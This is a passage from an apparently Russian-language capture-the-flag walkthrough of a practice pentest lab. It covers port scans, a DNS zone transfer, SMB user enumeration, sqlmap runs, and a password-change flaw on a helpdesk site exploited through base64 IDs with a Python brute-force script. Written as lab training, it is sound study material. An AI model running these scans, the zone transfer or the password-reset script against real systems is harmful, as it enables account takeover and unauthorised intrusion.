|_smtp-commands: mail.test.lab, PIPELINING, SIZE 15728640, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8,
| ssl-cert: Subject: commonName=mail.test.lab/organizationName=mail.test.lab/stateOrProvinceName=GuangDong/countryName=CN
| Issuer: commonName=mail.test.lab/organizationName=mail.test.lab/stateOrProvinceName=GuangDong/countryName=CN
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-12-08T15:26:26
| Not valid after: 2028-12-05T15:26:26
| MD5: 103f 8826 b9d1 3dcd 6734 c583 717f 35fd
|_SHA-1: 8d8d 0d35 4faf 1b09 5a90 b485 f1e3 b566 7c28 6a0a
|_ssl-date: TLS randomness does not represent time
53/tcp open domain ISC BIND 9.10.3-P4 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Debian
80/tcp open http nginx 1.14.2
|_http-title: 403 Forbidden
88/tcp open kerberos-sec Heimdal Kerberos (server time: 2018-12-17 19:25:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: TEST)
143/tcp open imap Dovecot imapd
|_imap-capabilities: more AUTH=PLAIN ENABLE capabilities OK LOGIN-REFERRALS listed have IDLE LITERAL+ AUTH=LOGINA0001 Pre-login IMAP4rev1 ID post-login SASL-IR
389/tcp open ldap (Anonymous bind OK)
| ssl-cert: Subject: commonName=AD.test.lab/organizationName=Samba Administration
| Issuer: commonName=AD.test.lab/organizationName=Samba Administration
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2018-12-10T10:42:08
| Not valid after: 2020-11-09T10:42:08
| MD5: c532 51b3 91af d57e 47d4 a575 c36f 1646
|_SHA-1: afc6 fc65 5741 1c61 3f02 2f7f 2bda e77c 81e6 8002
|_ssl-date: 2018-12-17T19:28:21+00:00; +1m49s from scanner time.
445/tcp open netbios-ssn Samba smbd 4.5.12-Debian (workgroup: TEST)
464/tcp open kpasswd5?
636/tcp open ssl/ldap (Anonymous bind OK)
| ssl-cert: Subject: commonName=AD.test.lab/organizationName=Samba Administration
| Issuer: commonName=AD.test.lab/organizationName=Samba Administration
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2018-12-10T10:42:08
| Not valid after: 2020-11-09T10:42:08
| MD5: c532 51b3 91af d57e 47d4 a575 c36f 1646
|_SHA-1: afc6 fc65 5741 1c61 3f02 2f7f 2bda e77c 81e6 8002
|_ssl-date: 2018-12-17T19:24:57+00:00; -1m30s from scanner time.
1024/tcp open msrpc Microsoft Windows RPC
3268/tcp open ldap (Anonymous bind OK)
| ssl-cert: Subject: commonName=AD.test.lab/organizationName=Samba Administration
| Issuer: commonName=AD.test.lab/organizationName=Samba Administration
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2018-12-10T10:42:08
| Not valid after: 2020-11-09T10:42:08
| MD5: c532 51b3 91af d57e 47d4 a575 c36f 1646
|_SHA-1: afc6 fc65 5741 1c61 3f02 2f7f 2bda e77c 81e6 8002
|_ssl-date: 2018-12-17T19:28:17+00:00; +1m49s from scanner time.
3269/tcp open ssl/ldap (Anonymous bind OK)
| ssl-cert: Subject: commonName=AD.test.lab/organizationName=Samba Administration
| Issuer: commonName=AD.test.lab/organizationName=Samba Administration
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2018-12-10T10:42:08
| Not valid after: 2020-11-09T10:42:08
| MD5: c532 51b3 91af d57e 47d4 a575 c36f 1646
|_SHA-1: afc6 fc65 5741 1c61 3f02 2f7f 2bda e77c 81e6 8002
|_ssl-date: 2018-12-17T19:25:15+00:00; -1m12s from scanner time.
8080/tcp open http nginx
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx
| http-title: Roundcube Webmail :: Welcome to Roundcube Webmail
|_Requested resource was http://172.16.0.17:8080/mail/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=12/18%OT=22%CT=1%CU=38416%PV=Y%DS=4%DC=T%G=Y%TM=5C17F8
OS:81%P=i686-pc-windows-windows)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=
OS:8)SEQ(SP=103%GCD=1%ISR=109%TI=Z%CI=Z%TS=8)OPS(O1=M54DST11NW6%O2=M54DST11
OS:NW6%O3=M54DNNT11NW6%O4=M54DST11NW6%O5=M54DST11NW6%O6=M54DST11)WIN(W1=712
OS:0%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54
OS:DNNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(
OS:R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F
OS:=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y
OS:%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T
OS:=40%CD=S)
Uptime guess: 3.054 days (since Sat Dec 15 00:09:21 2018)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Hosts: mail.test.lab, AD; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -25m36s, deviation: 1h08m06s, median: -4s
| nbstat: NetBIOS name: AD, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| AD<00> Flags: <unique><active>
| AD<03> Flags: <unique><active>
| AD<20> Flags: <unique><active>
| TEST<1b> Flags: <unique><active>
| TEST<1c> Flags: <group><active>
| TEST<00> Flags: <group><active>
| __SAMBA__<00> Flags: <group><active><permanent>
|_ __SAMBA__<20> Flags: <group><active><permanent>
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.5.12-Debian)
| Computer name: ad
| NetBIOS computer name: AD\x00
| Domain name: test.lab
| FQDN: ad.test.lab
|_ System time: 2018-12-17T22:26:23+03:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2018-12-18 01:26:24
|_ start_date: N/A
TRACEROUTE (using port 993/tcp)
HOP RTT ADDRESS
1 215.00 ms 10.11.0.1
2 280.00 ms 172.16.2.1
3 280.00 ms site.test.lab (192.168.101.12)
4 280.00 ms 172.16.0.17
________________________________________
DNS Token
Bash:
[/B]root@Ac0st:~ nslookup
> set port=53
> set type=ANY
> SERVER 172.16.0.17
Default server: 172.16.0.17
Address: 172.16.0.17 53
> test.lab
Server: 172.16.0.17
Address: 172.16.0.17 53[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B]Name: test.lab
Address: 172.16.0.17
test.lab
origin = test.lab
mail addr = ad.test.lab
serial = 69
refresh = 5
retry = 30
expire = 21600
minimum = 60
test.lab nameserver = ns1.test.lab.
test.lab nameserver = ns2.test.lab.
root@Ac0st:~ nslookup ns1.test.lab 172.16.0.17
Name: ns1.test.lab
Address: 172.16.0.17
root@Ac0st:~ nslookup ns2.test.lab 172.16.0.17
Name: ns2.test.lab
Address: 172.16.2.10
nslookup -type=txt _site.test.lab 192.168.101.1
Пробуем дигом:
Bash:
dig -t txt test.lab 172.16.0.17
dig TXT @192.168.101.1 -p 1194 test.lab
dig @172.16.0.17 axfr ns1.test.lab[CODE]
Скажу, что я исчерпал свои знания запросов по DNS записям - и нужно было прибегать к дополнительному инструментарию. Мой товарищь Антон все же раньше меня нашел данный токен и дал хинт по инструментарию dnsrecon.
[CODE=bash]root@Ac0st:/home/clevergod dnsrecon -a -d test.lab -n 172.16.0.17
[*] Performing General Enumeration of Domain: test.lab
[*] Checking for Zone Transfer for test.lab name servers
[*] Resolving SOA Record
[-] Error while resolving SOA record.
[*] Resolving NS Records
[-] Could not Resolve NS Records
[*] Removing any duplicate NS server IP Addresses...
[*] Checking for Zone Transfer for test.lab name servers
[*] Resolving SOA Record
[-] Error while resolving SOA record.
[*] Resolving NS Records
[-] Could not Resolve NS Records
[*] Removing any duplicate NS server IP Addresses...
Этот NS сервер пустозвонит, пробуем другой:
Bash:
root@Ac0st:/home/clevergod dnsrecon -a -d test.lab -n 172.16.2.10
[*] Performing General Enumeration of Domain: test.lab
[*] Checking for Zone Transfer for test.lab name servers
[*] Resolving SOA Record
[+] SOA test.lab 172.16.0.17
[*] Resolving NS Records
[*] NS Servers found:
[*] NS ns1.test.lab 172.16.0.17
[*] NS ns2.test.lab 172.16.2.10
[*] Removing any duplicate NS server IP Addresses...
[*]
[*] Trying NS server 172.16.0.17
[-] Zone Transfer Failed for 172.16.0.17!
[-] Port 53 TCP is being filtered
[*]
[*] Trying NS server 172.16.2.10
[+] 172.16.2.10 Has port 53 TCP Open
[+] Zone Transfer was successful!!
[*] NS ns1.test.lab 172.16.0.17
[*] NS ns2.test.lab 172.16.2.10
[*] A @.test.lab 172.16.0.17
[*] A db.test.lab 172.16.0.30
[*] A dc.test.lab 172.16.0.17
[*] A helpdesk.test.lab 172.16.0.10
[*] A ns2.test.lab 172.16.2.10
[*] A my.test.lab 172.16.0.10
[*] A ad.test.lab 172.16.0.17
[*] A site.test.lab 172.16.0.10
[*] A gc._msdcs.test.lab 172.16.0.17
[*] A dns.test.lab 172.16.0.17
[*] A dns.test.lab 172.16.2.10
[*] A ns1.test.lab 172.16.0.17
[*] A token-[B]токен[/B].test.lab 127.0.0.1
[*] SRV _ldap._tcp.gc._msdcs.test.lab @ 3268 0 no_ip
[*] SRV _kpasswd._udp.test.lab @ 464 0 no_ip
[*] SRV _kpasswd._tcp.test.lab @ 464 0 no_ip
[*] SRV _ldap._tcp.test.lab @ 389 0 no_ip
[*] SRV _kerberos._tcp.dc._msdcs.test.lab @ 88 0 no_ip
[*] SRV _kerberos._udp.test.lab @ 88 0 no_ip
[*] SRV _ldap._tcp.dc._msdcs.test.lab @ 389 0 no_ip
[*] SRV _ldap._tcp.ForestDnsZones.test.lab @ 389 0 no_ip
[*] SRV _kerberos._tcp.test.lab @ 88 0 no_ip
[*] Checking for Zone Transfer for test.lab name servers
[*] Resolving SOA Record
[+] SOA test.lab 172.16.0.17
[*] Resolving NS Records
[*] NS Servers found:
[*] NS ns1.test.lab 172.16.0.17
[*] NS ns2.test.lab 172.16.2.10
[*] Removing any duplicate NS server IP Addresses...
[*]
[*] Trying NS server 172.16.0.17
[-] Zone Transfer Failed for 172.16.0.17!
[-] Port 53 TCP is being filtered
[*]
[*] Trying NS server 172.16.2.10
[+] 172.16.2.10 Has port 53 TCP Open
[+] Zone Transfer was successful!!
[*] NS ns1.test.lab 172.16.0.17
[*] NS ns2.test.lab 172.16.2.10
[*] A @.test.lab 172.16.0.17
[*] A db.test.lab 172.16.0.30
[*] A dc.test.lab 172.16.0.17
[*] A helpdesk.test.lab 172.16.0.10
[*] A ns2.test.lab 172.16.2.10
[*] A my.test.lab 172.16.0.10
[*] A ad.test.lab 172.16.0.17
[*] A site.test.lab 172.16.0.10
[*] A gc._msdcs.test.lab 172.16.0.17
[*] A dns.test.lab 172.16.0.17
[*] A dns.test.lab 172.16.2.10
[*] A ns1.test.lab 172.16.0.17
[*] A token-[B]токен[/B].test.lab 127.0.0.1
[*] SRV _ldap._tcp.gc._msdcs.test.lab @ 3268 0 no_ip
[*] SRV _kpasswd._udp.test.lab @ 464 0 no_ip
[*] SRV _kpasswd._tcp.test.lab @ 464 0 no_ip
[*] SRV _ldap._tcp.test.lab @ 389 0 no_ip
[*] SRV _kerberos._tcp.dc._msdcs.test.lab @ 88 0 no_ip
[*] SRV _kerberos._udp.test.lab @ 88 0 no_ip
[*] SRV _ldap._tcp.dc._msdcs.test.lab @ 389 0 no_ip
[*] SRV _ldap._tcp.ForestDnsZones.test.lab @ 389 0 no_ip
[*] SRV _kerberos._tcp.test.lab @ 88 0 no_ip
[-] DNSSEC is not configured for test.lab
[*] SOA test.lab 172.16.0.17
[*] NS ns1.test.lab 172.16.0.17
[*] NS ns2.test.lab 172.16.2.10
[-] Recursion enabled on NS Server 172.16.2.10
[*] Bind Version for 172.16.2.10 9.10.3-P4-Debian
[-] Could not Resolve MX Records for test.lab
[*] A test.lab 172.16.0.17
[*] Enumerating SRV Records
[*] SRV _kerberos._tcp.test.lab test.lab 172.16.0.17 88 0
[*] SRV _kerberos._udp.test.lab test.lab 172.16.0.17 88 0
[*] SRV _ldap._tcp.test.lab test.lab 172.16.0.17 389 0
[*] SRV _ldap._tcp.ForestDNSZones.test.lab test.lab 172.16.0.17 389 0
[*] SRV _ldap._tcp.dc._msdcs.test.lab test.lab 172.16.0.17 389 0
[*] SRV _kpasswd._udp.test.lab test.lab 172.16.0.17 464 0
[*] SRV _ldap._tcp.gc._msdcs.test.lab test.lab 172.16.0.17 3268 0
[*] SRV _kerberos._tcp.dc._msdcs.test.lab test.lab 172.16.0.17 88 0
[*] SRV _kpasswd._tcp.test.lab test.lab 172.16.0.17 464 0
[+] 9 Records Found
Записи получены, там же заблудился и токен.
Пока мы копошились, мировые умы ушли далеко вперед, уже 11 токенов взято.
Пройдя этот токен - Мы имеем:
Заносим найденные доменные имена и айпишники в hosts.172.16.0.10 site.test.lab
172.16.0.10 my.test.lab
172.16.0.10 helpdesk.test.lab
172.16.0.17 ad.test.lab
172.16.0.17 dc.test.lab
172.16.0.17 ns1.test.lab
172.16.2.10 ns2.test.lab
172.16.2.10 dns.test.lab
172.16.0.30 db.test.lab
!Хочу немного пояснить, любая найденная информация на любом этапе может быть полезна, так что не стесняйтесь конспектировать, делать скрины и собирать все малейшие зацепки.
________________________________________
AD Token
По результатам сканирования портов и определения сервисов, в первую очередь 445 порта,
Пробуем перечислить __SAMBA__
net use \\172.16.0.17\IPC$ "" /u:""
172.16.0.17 [host down]
root@Ac0st:smbclient -L //172.16.0.17
172.16.0.17 [host down]
root@Ac0st:/home/clevergod nbtscan-unixwiz -f 172.16.0.17 > nbtscan
*timeout (normal end of scan)
root@Ac0st:nmap -sU -sS --script=smb-enum-users -p U:137,T:139 172.16.0.17
172.16.0.17 [host down]
root@Ac0st: nmap -v --script=smb-enum-users -p445 172.16.0.17 -Pn
В общем сетка лежит, периодически проблемы с доступностью, попробуем позднее. Прошу обратить внимание на изобилие средств и каждая эта утилита может нам предоставить различный результат.
В итоге нам удается сэнумерейтить юзеров:
Bash:
nmap -sS --script smb-enum-users 172.16.0.17
Nmap scan report for 172.16.0.17
Host is up (0.38s latency).[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B]PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Host script results:
| smb-enum-users:
| BUILTIN\Administrator (RID: 500)
| Full name:
| Description: Built-in account for administering the computer/domain
| Flags: Normal user account
| BUILTIN\Guest (RID: 501)
| Full name:
| Description: Built-in account for guest access to the computer/domain
| Flags: Normal user account, Password not required, Account disabled, Password does not expire
| BUILTIN\info (RID: 1104)
| Full name: info
| Description:
| Flags: Normal user account
| BUILTIN\krbtgt (RID: 502)
| Full name:
| Description: Key Distribution Center Service Account
| Flags: Normal user account, Account disabled
| BUILTIN\lomonosov (RID: 1111)
| Full name:
| Description:
| Flags: Normal user account
| BUILTIN\petrov (RID: 1110)
| Full name:
| Description:
| Flags: Normal user account
| BUILTIN\sidorov (RID: 1108)
| Full name:
| Description:
| Flags: Normal user account
| BUILTIN\sviridov (RID: 1106)
| Full name:
| Description:
| Flags: Normal user account
| BUILTIN\token_[B]токен[/B] (RID: 1118)
| Full name:
| Description:
| Flags: Normal user account
Nmap done: 1 IP address (1 host up) scanned in 14.27 seconds
Если бы под руками была спарта (Sparta) данный токен был бы найден намного быстрее.
А еще можно использовать и другие средства, например старый добрый LanSpy:
Токен взят... Оба они были почти в одном месте, ну я так считаю и были достаточно простыми.
Мы имеем:
Administrator
info
lomonosov
petrov
sidorov
sviridov
Guest - disabled
krbtgt - disabled
Ну и подведем мини итог по нахождению 3 токенов за прошедшие 2 дня поиска - это 18% на статусбаре
________________________________________
HELPDESK Token
http://helpdesk.test.lab
Визуально только форма авторизации, и по коду 2 изображения имеют 404 ошибку:
Ссылка скрыта от гостей
footimg.jpg и favicon.ico котрый не всчет...Параллельно ищем векторы sqmap'om:
Bash:
sqlmap -u http://helpdesk.test.lab --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3
sqlmap -o -u "http://helpdesk.test.lab/" --forms
sqlmap -u "http://helpdesk.test.lab/index.php?ad=1" --dbms=mysql --tech=U --random-agent --dump
Другие сканеры говорят о том, что на формах присутствует plaintext авторизация и это все, что они видят.
По факту находим только 2 формы
http://helpdesk.test.lab/login.php
http://helpdesk.test.lab/changepass.php
и одна форма выхода, ее не берем в счет.
Составляем список найденных в DNS пользователей, с учетом исключения отключенных и пробуем брутить:
Пробуем зайти туда имеющимся логином и паролем и смотрим на запросы формы
Ссылка скрыта от гостей
login.phpПопали внутрь. Осматриваемся и ищем векторы.
В этой форме находим скрытый элемент:
<input type="hidden" name="id" value="MTQ1Cg==">
Сначала думаем, что это токен, но в стринге это число 145 и мы тем самым узнаем ID нашего пользователя info
Там есть еще поле с вводом команды, но по коду видим, что это поле значения login=
Bash:
POST /[B]changepass.php[/B] HTTP/1.1
Host: helpdesk.test.lab
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: [B]http://helpdesk.test.lab/changepass.php[/B]
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Connection: close
Cookie: PHPSESSID=9tu10hliictngub91acpm70bk6
Upgrade-Insecure-Requests: 1
Эта форма дает возможность менять пароль текущего пользователя:
password=[B]1[/B]&confpassword=[B]2[/B]&id=MTQ1Cg%3D%3D&submit=Change
т.е. мы проверили совпадение он все таки ищет или есть ли еще один вектор.
password=[B]1234567890[/B]&confpassword=[B]1234567890[/B]&id=[B]MTQ1Cg%3D%3D[/B]&submit=Change
Пароль действительно меняется, да и как выяснили с повышенными привилегиями.
Делаем словарь из чисел от 1-1000, преобразовываем в base64 а затем в url encode чтобы убрать символы =
Дикость, но по факту составив словарь скриптом
echo {1..1000} | base64 >id.txt
а затем получившиеся цифры в base64 построчно и число 145 получается как MTQ1 хотя MTQ1Cg== это тоже при декодинге 145... (Cg== это перенос строки или \n)Пробуем средствами бурпа:
Все изыскания и попытки состряпать такой словарик потерпел неудачу, т.к. построчный перевод ни батником, ни другими подвластными мне средствами на винде не давался. Даже встроенным функционалом Burp Siute в разделе Payload Intruder не верно делал необходимое.
Есть такой хороший человек с дружественной нам Белоруссии
Ссылка скрыта от гостей
- спасибо ему огромное, дал сгенереный словарик скриптом написанный им самим на питоне.Пройдясь по нему взяв в подбор id мы получили 302 ответ на 2-ух id это MTQ1Cg%3D%3D или наш 145 и NDQwCg%3D%3D - а это новое значение в base64 NDQwCg== или 440
т.е. ID пользователя доступного к смене пароля 440 и нам всего лишь нужно найти логин этого пользователя, ведь пароль ему мы сменили.
Не забываем у нас есть всего пару минут, ведь виртуалка откатывается к первоначальному значению через 3-5 минут.
По предположению это sviridov@test.lab и это было верным замечанием.
Код:
POST /changepass.php HTTP/1.1
Host: helpdesk.test.lab
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://helpdesk.test.lab/changepass.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Connection: close
Cookie: PHPSESSID=9tu10hliictngub91acpm70bk6
Upgrade-Insecure-Requests: 1
password=12345&confpassword=12345&id=NDQwCg%3D%3D&submit=Change
Мы видим в Helpdesk следующее:
-----------------------------------------------------------------------------------------------------------------------------------
My Requests
-----------------------------------------------------------------------------------------------------------------------------------
Date Request Status Comment attachment
-----------------------------------------------------------------------------------------------------------------------------------
10.10.10 Access to corporate VPN Done
-----------------------------------------------------------------------------------------------------------------------------------
10.10.10 Restore the password to my corporate network account. Done New password."значение" Change it!
-----------------------------------------------------------------------------------------------------------------------------------
Токен взят! Самый долгий, жгучий и невыносимый пока что токен. На него было потрачено уйму времени, но тем самым он отложился в голове, думаю и Вам будет полезно.
И пока мы решали этот токен в течении нескольких дней и ночей в Лабе появился лидер, который нашел все токены. Забегая вперед скажу, что по состоянию на 02.01.2019 он пока что единственный собравший все токены. Image токен пока не поддался никому из лидеров.
(Ребята, кто не усвоил урок, просьба сделайте все по человечески, без скрипта):
Python:
import requests
import base64
for i in range(1, 1000):
id = str(i) + "\n"
encoded = str(base64.b64encode(bytes(id, "utf-8")))
headers = {'Cookie': 'PHPSESSID=5ldagrnj3np5fsaga8ngc0k6i4'}
r = requests.post("http://helpdesk.test.lab/changepass.php", allow_redirects=False, data={'password': '111', 'confpassword': '111', 'id': encoded[2:-1], 'submit': 'Change'}, headers = headers)
print(r.status_code)
VPN Token
Когда мы взяли токен HelpDesk и там увидели явный намек, что есть еще один VPN, попробуем его искать большими и долгими всепортовыми запросами:
Bash:
nmap -sU -T4 -A -v -Pn 192.168.101.0/24
Bash:
nmap -sU -T4 -A -v -Pn 172.16.0.16/24
Это жуть как долго, попробуем ускорить пройдя по портам VPN:
Bash:
nmap -sU -p 1701,1194,1723,1293,500,4500 -T2 -v -Pn 192.168.101.0/24
Пока сканируется, мы смотрим на конфиг VPN и замечаем что мы сканим зря, т.к. в конфиге как раз указан UDP порт и IP. Пробуем сократить до имеющихся IP адресов и порт.
Bash:
nmap -sU -vv -p0-2000 192.168.101.12-13
Discovered open port 1194/udp on 192.168.101.13
Discovered open port 1194/udp on 192.168.101.12
Дублируем имеющийся конфиг, меняем IP-адрес и пробуем войти под новым логином.
Мы в сети. Проверяем маршрутизацию и проверяем сетку.
Bash:
root@Ac0st:/home/clevergod ip route | grep eth
none 255.255.255.255 dev eth0 proto unspec metric 0
none 224.0.0.0/4 dev eth0 proto unspec metric 0
none 10.10.1.107 dev eth0 proto unspec metric 0
none 10.10.1.104/30 dev eth0 proto unspec metric 0
none 10.10.1.106 dev eth0 proto unspec metric 0
none 192.168.101.0/24 via 10.10.1.105 dev eth0 proto unspec metric 0
none 10.10.0.1 via 10.10.1.105 dev eth0 proto unspec metric 0
none 255.255.255.255 dev eth1 proto unspec metric 0
none 224.0.0.0/4 dev eth1 proto unspec metric 0
none 10.12.0.63 dev eth1 proto unspec metric 0
none 10.12.0.60/30 dev eth1 proto unspec metric 0
none 10.12.0.62 dev eth1 proto unspec metric 0
none 172.16.0.0/16 via 10.12.0.61 dev eth1 proto unspec metric 0
none [B]192.168.0.0/24[/B] via 10.12.0.61 dev eth1 proto unspec metric 0
none 10.12.0.1 via 10.12.0.61 dev eth1 proto unspec metric 0
none 255.255.255.255 dev eth2 proto unspec metric 0
none 224.0.0.0/4 dev eth2 proto unspec metric 0
none 169.254.255.255 dev eth2 proto unspec metric 0
none 169.254.0.0/16 dev eth2 proto unspec metric 0
none 169.254.226.236 dev eth2 proto unspec metric 0
none 255.255.255.255 dev eth3 proto unspec metric 0
none 224.0.0.0/4 dev eth3 proto unspec metric 0
Сеть та же, добавилась еще одна стандартная сетка.
Проверив 24 маску 172.16 находим только 1 новый IP:
Bash:
Nmap scan report for 172.16.0.14
Host is up (0.23s latency).
Not shown: 98 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 11.00 seconds
Запускаем на скан 16 маску по быстрому:
Bash:
nmap -sn 172.16.1.0/16
Nmap scan report for 172.16.1.1
Host is up (0.14s latency).
Nmap scan report for 172.16.1.10
Host is up (0.19s latency).
Nmap scan report for 172.16.1.12
Host is up (0.13s latency).
Nmap scan report for 172.16.1.15
Host is up (0.19s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 32.18 seconds
а затем прогоним на сервисы найденные хосты:
Bash:
Nmap scan report for 172.16.1.1
Host is up (0.28s latency).
All 100 scanned ports on 172.16.1.1 are filtered[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B]Nmap scan report for 172.16.1.10
Host is up (0.17s latency).
Not shown: 99 filtered ports
PORT STATE SERVICE
80/tcp open http[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B]Nmap scan report for 172.16.1.12
Host is up (0.27s latency).
Not shown: 98 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B]Nmap scan report for 172.16.1.15
Host is up (0.24s latency).
Not shown: 99 filtered ports
PORT STATE SERVICE
80/tcp open http[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B]Nmap done: 4 IP addresses (4 hosts up) scanned in 18.21 seconds
Нашли еще 4 новых IP-адреса.
Лазаем, ищем и если проявим внимательность в маршрутизации, то получим токен.
________________________________________
Давайте подытожим, мы нашли уже 5 токенов, у нас осталось еще 12 заданий и это 30% общего прохождения:
Users, Repository, SIEM, Site, My, API, User API, Image, DB, admin, Reverse
В данном VPN есть еще один маршрут 192.168.0.0/24 и по моему предположению это техническая сетка. Т.к. о ней ни слова и не упоминали в почте, а также смело предположим, что Свиридов как то связан с админами.
За почти неделю, обитая в данной лабораторной, теперь
http://[B]my[/B].test.lab
стал доступен.Так же мы видим новые хосты и будем их проверять.
Но для начала составим карту, ведь привычка дело страшное.
Bash:
atp intsall masscan -y
> masin.txt
nano masin.txt
192.168.101.0/24
172.16.1.0/24
172.16.2.0/24
192.168.0.0/24
masscan -p 80,21,22,22,53,139,143,389,445,1194,1515,8000,8080,3128 -iL masin.txt --rate=300 -oL masout.txt
чистим вывод от мусора
Bash:
awk '{ print $4 }' masout.txt > nmapin.txt
Скормим nmap
Bash:
nmap -p 80,21,22,53,139,143,389,445,1194,1515,8000,8080,3128 --script "http-title","ftp-anon","SSH","DNS","NB","Imap","LDAP","SMB","VPN","Contr","http000","http-mirror","Proxy" -iL nmapin.txt -oN output.txt
Спарсим в красивый HTML
Bash:
nparse.py:
import subprocess
import inspect
import sys, os, codecs, re
import webbrowser[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B]dic={
"\\xD0\\xB0":"а", "\\xD0\\x90":"А",
"\\xD0\\xB1":"б", "\\xD0\\x91":"Б",
"\\xD0\\xB2":"в", "\\xD0\\x92":"В",
"\\xD0\\xB3":"г", "\\xD0\\x93":"Г",
"\\xD0\\xB4":"д", "\\xD0\\x94":"Д",
"\\xD0\\xB5":"е", "\\xD0\\x95":"Е",
"\\xD1\\x91":"ё", "\\xD0\\x81":"Ё",
"\\xD0\\xB6":"ж", "\\xD0\\x96":"Ж",
"\\xD0\\xB7":"з", "\\xD0\\x97":"З",
"\\xD0\\xB8":"и", "\\xD0\\x98":"И",
"\\xD0\\xB9":"й", "\\xD0\\x99":"Й",
"\\xD0\\xBA":"к", "\\xD0\\x9A":"К",
"\\xD0\\xBB":"л", "\\xD0\\x9B":"Л",
"\\xD0\\xBC":"м", "\\xD0\\x9C":"М",
"\\xD0\\xBD":"н", "\\xD0\\x9D":"Н",
"\\xD0\\xBE":"о", "\\xD0\\x9E":"О",
"\\xD0\\xBF":"п", "\\xD0\\x9F":"П",
"\\xD1\\x80":"р", "\\xD0\\xA0":"Р",
"\\xD1\\x81":"с", "\\xD0\\xA1":"С",
"\\xD1\\x82":"т", "\\xD0\\xA2":"Т",
"\\xD1\\x83":"у", "\\xD0\\xA3":"У",
"\\xD1\\x84":"ф", "\\xD0\\xA4":"Ф",
"\\xD1\\x85":"х", "\\xD0\\xA5":"Х",
"\\xD1\\x86":"ц", "\\xD0\\xA6":"Ц",
"\\xD1\\x87":"ч", "\\xD0\\xA7":"Ч",
"\\xD1\\x88":"ш", "\\xD0\\xA8":"Ш",
"\\xD1\\x89":"щ", "\\xD0\\xA9":"Щ",
"\\xD1\\x8A":"ъ", "\\xD0\\xAA":"Ъ",
"\\xD1\\x8B":"ы", "\\xD0\\xAB":"Ы",
"\\xD1\\x8C":"ь", "\\xD0\\xAC":"Ь",
"\\xD1\\x8D":"э", "\\xD0\\xAD":"Э",
"\\xD1\\x8E":"ю", "\\xD0\\xAE":"Ю",
"\\xD1\\x8F":"я", "\\xD0\\xAF":"Я",
}[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B]f=open('output.txt', 'r')
f2=open('output.html', 'w')[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B]f2.write('<html lang="ru"><head><title>Scan results</title><meta charset="utf-8"></head><body>')[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B]for x in f:
if('Nmap scan report for' in x):
hosts = re.search('(\d+\.\d+\.\d+\.\d+)', x)
host=hosts.group(1).strip()
if('Anonymous FTP login allowed' in x):
